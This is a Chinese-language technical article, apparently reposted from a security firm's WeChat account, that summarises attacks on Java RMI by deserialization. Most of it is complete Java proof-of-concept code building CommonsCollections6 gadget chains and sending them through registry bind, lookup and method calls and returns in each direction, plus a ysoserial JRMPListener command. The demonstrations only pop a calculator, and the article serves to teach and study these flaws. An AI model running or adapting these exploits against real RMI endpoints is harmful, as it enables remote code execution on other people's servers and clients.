RMI,是Remote Method Invocation(远程方法调用)的缩写,即在一个JVM中java程序调用在另一个远程JVM中运行的java程序,这个远程JVM既可以在同一台实体机上,也可以在不同的实体机上,两者之间通过网络进行通信。java RMI封装了远程调用的实现细节,进行简单的配置之后,就可以如同调用本地方法一样,比较透明地调用远端方法。
RMI包括以下三个部分:
-
Registry: 提供服务注册与服务获取。即Server端向Registry注册服务,比如地址、端口等一些信息,Client端从Registry获取远程对象的一些信息,如地址、端口等,然后进行远程调用。 -
Server: 远程方法的提供者,并向Registry注册自身提供的服务 -
Client: 远程方法的消费者,从Registry获取远程方法的相关信息并且调用
测试环境:JDK8u41
Client和Regisry基于Stub和Skeleton进行通信,分别对应RegistryImpl_Stub和 RegistryImpl_Skel两个类。
Server 攻击 Registry
Server端在执行bind或者rebind方法的时候会将对象以序列化的形式传输给Registry,导致 Registry反序列化被RCE。
Registry
package SAR;
import java.rmi.registry.LocateRegistry;
public class RMIRegistry {
public static void main(String[] args) {
try {
LocateRegistry.createRegistry(1099);
System.out.println("RMI Registry Start");
} catch (Exception e) {
e.printStackTrace();
}
while (true);
}
}
Server
package SAR;
import com.sun.corba.se.impl.presentation.rmi.InvocationHandlerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import util.Calc;
import util.Utils;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class RMIServer {
public static void main(String[] args) throws Exception {
// CommonsCollections6
TemplatesImpl templates = Utils.creatTemplatesImpl(Calc.class);
Transformer invokerTransformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);
HashMap expMap = new HashMap();
expMap.put(tiedMapEntry, "value");
outerMap.clear();
Utils.setFieldValue(invokerTransformer, "iMethodName", "newTransformer");
// bind to registry
Registry registry = LocateRegistry.getRegistry(1099);
InvocationHandlerImpl handler = new InvocationHandlerImpl(expMap);
Remote remote = (Remote) Proxy.newProxyInstance(handler.getClass().getClassLoader(), new Class[]{Remote.class}, handler);
registry.bind("pwn", remote);
// registry.rebind("pwn", remote);
}
}
InvocationHandlerImpl
package SAR;
import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;
public class InvocationHandlerImpl implements InvocationHandler, Serializable {
protected Map map;
public InvocationHandlerImpl(Map map) {
this.map = map;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
return null;
}
}
Client攻击Registry
Client
package CAR;
import SAR.InvocationHandlerImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.rmi.server.UnicastRef;
import util.Calc;
import util.Utils;
import java.io.ObjectOutput;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;
public class RMIClient {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = Utils.creatTemplatesImpl(Calc.class);
Transformer invokerTransformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);
HashMap expMap = new HashMap();
expMap.put(tiedMapEntry, "value");
outerMap.clear();
Utils.setFieldValue(invokerTransformer, "iMethodName", "newTransformer");
Registry registry = LocateRegistry.getRegistry(1099);
InvocationHandlerImpl handler = new InvocationHandlerImpl(expMap);
Remote remote = (Remote) Proxy.newProxyInstance(handler.getClass().getClassLoader(), new Class[]{Remote.class}, handler);
Field field1 = registry.getClass().getSuperclass().getSuperclass().getDeclaredField("ref");
field1.setAccessible(true);
UnicastRef ref = (UnicastRef) field1.get(registry);
Field field2 = registry.getClass().getDeclaredField("operations");
field2.setAccessible(true);
Operation[] operations = (Operation[]) field2.get(registry);
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(remote);
ref.invoke(var2);
}
}
package SAR;
import java.rmi.registry.LocateRegistry;
public class RMIRegistry {
public static void main(String[] args) {
try {
LocateRegistry.createRegistry(1099);
System.out.println("RMI Registry Start");
} catch (Exception e) {
e.printStackTrace();
}
while (true);
}
}
Client 攻击 Server
Client 发送请求
前面多个 if 都不满足,直接来到
Server 端处理
与客户端的marshalValue方法对应,服务端也有一个unmarshalValue方法用来对参数进行反序列化:
此外,具体执行哪一个方法是根据hash值来识别的:
package CAS;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import util.Calc;
import util.Utils;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class RMIClient {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = Utils.creatTemplatesImpl(Calc.class);
Transformer invokerTransformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);
HashMap expMap = new HashMap();
expMap.put(tiedMapEntry, "value");
outerMap.clear();
Utils.setFieldValue(invokerTransformer, "iMethodName", "newTransformer");
Registry registry = LocateRegistry.getRegistry(1099);
TestInterface remoteObj = (TestInterface) registry.lookup("test");
// 获取到的远程对象实际上是一个代理对象,请求会被派发到RemoteObjectInvocationHandler#invoke方法里面去
remoteObj.testMethod(expMap);
}
}
Server
package CAS;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry(1099);
TestInterfaceImpl testInterface = new TestInterfaceImpl();
registry.rebind("test", testInterface);
}
}
接口和类
package CAS;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface TestInterface extends Remote {
void testMethod(Object obj) throws RemoteException;
}
package CAS;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class TestInterfaceImpl extends UnicastRemoteObject implements TestInterface {
protected TestInterfaceImpl() throws RemoteException {
super();
}
@Override
public void testMethod(Object obj) throws RemoteException {
System.out.println("...");
}
}
Server攻击Client
Server端方法的执行结果也是以序列化的形式传输到Client的,还是在 UnicastServerRef#dispatch方法中:
而在Client端同样会对方法的执行结果进行反序列化处理,UnicastRef#invoke:
所以服务端如果可以控制返回的数据为恶意序列化数据,那么客户端就会被 RCE。
Client
package SAC;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry(1099);
TestInterface remote = (TestInterface) registry.lookup("test");
System.out.println(remote.testMethod());
}
}
Server
package SAC;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry(1099);
TestInterfaceImpl testInterface = new TestInterfaceImpl();
registry.bind("test", testInterface);
}
}
接口和类
package SAC;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface TestInterface extends Remote {
Object testMethod() throws RemoteException;
}
package SAC;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import util.Calc;
import util.Utils;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;
public class TestInterfaceImpl extends UnicastRemoteObject implements TestInterface {
public TestInterfaceImpl() throws RemoteException {
super();
}
@Override
public Object testMethod() throws RemoteException {
try {
TemplatesImpl templates = Utils.creatTemplatesImpl(Calc.class);
Transformer invokerTransformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);
HashMap expMap = new HashMap();
expMap.put(tiedMapEntry, "value");
outerMap.clear();
Utils.setFieldValue(invokerTransformer, "iMethodName", "newTransformer");
return expMap;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}
Registry 攻击 Client&Server
更准确的表达是:JRMP服务端攻击 JRMP 客户端。
使用ysoserial开启一个JRMP监听服务(这里指的是exploit/JRMPListener):
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 'calc'
只要服务端或者客户端获取到Registry,并且执行了以下方法之一,自身就会被RCE:
list / unbind / lookup / rebind / bind
RMI通信过程中使用的是JRMP协议,ysoserial中的exploit/JRMPListener会在指定端口开启一个JRMP Server,然后会向任何连接其的客户端发送反序列化payload。
往期 · 推荐
原文始发于微信公众号(星阑科技):【技术干货】RMI-攻击方式总结
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论